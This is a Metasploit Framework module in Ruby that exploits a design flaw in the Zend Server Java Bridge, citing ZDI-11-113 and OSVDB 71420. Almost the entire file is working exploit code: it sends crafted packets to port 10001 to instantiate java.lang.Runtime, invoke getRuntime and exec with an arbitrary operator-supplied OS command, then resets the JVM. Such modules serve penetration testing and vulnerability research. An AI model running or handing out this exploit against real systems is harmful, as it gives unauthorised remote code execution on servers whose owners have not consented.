90 lines
2.6 KiB
Ruby
90 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zend Server Java Bridge Design Flaw Remote Code Execution',
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'Description' => %q{
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This module abuses a flaw in the Zend Java Bridge Component of
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the Zend Server Framework. By sending a specially crafted packet, an
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attacker may be able to execute arbitrary code.
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NOTE: This module has only been tested with the Win32 build of the software.
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},
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'Author' => [ 'ikki', 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '71420'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/' ],
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[ 'EDB', '17078' ],
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],
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'DisclosureDate' => 'Mar 28 2011'))
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register_options(
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[
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Opt::RPORT(10001),
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OptString.new('CMD', [ false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
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], self.class)
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end
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def run
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cmd = datastore['CMD']
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connect
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java_object = [0x33000000].pack('V') + [0x00000000].pack('V')
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java_object << [0x0c000000].pack('V') + "CreateObject"
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java_object << [0x02000000].pack('V') + [0x00000004].pack('V')
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java_object << "\x11" + "java.lang.Runtime" + "\x07"
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java_object << [0x00000000].pack('V')
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print_status("Creating the Java Object 'java.lang.Runtime'")
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sock.put(java_object)
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res = sock.get_once() || ''
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classid = res[5,4]
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runtime = [0x16000000].pack('V') + classid + [0x0a000000].pack('V')
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runtime << "getRuntime" + [0x00000000].pack('V')
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print_status("Invoking static method 'getRuntime()'")
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sock.put(runtime)
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res = sock.get_once() || ''
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methodid = res[5,4]
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exec = [0x00].pack('n') + [21 + cmd.length].pack('n') + methodid
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exec << [0x04000000].pack('V') + "exec" + [0x01000000].pack('V')
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exec << "\x04" + [0x00].pack('n') + [cmd.length].pack('n') + cmd
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print_status("Invoking method 'exec()' with parameter '#{cmd}'")
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sock.put(exec)
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success = sock.get_once() || ''
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if (success =~ /\x00\x00\x00/)
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print_status("Cleaning up the JVM")
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rm = [0x11000000].pack('V') + [0xffffffff].pack('V')
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rm << [0x05000000].pack('V') + "reset"
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rm << [0x00000000].pack('V')
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sock.put(rm)
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else
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print_error("Failed to run command...")
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disconnect
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return
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end
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disconnect
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end
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end
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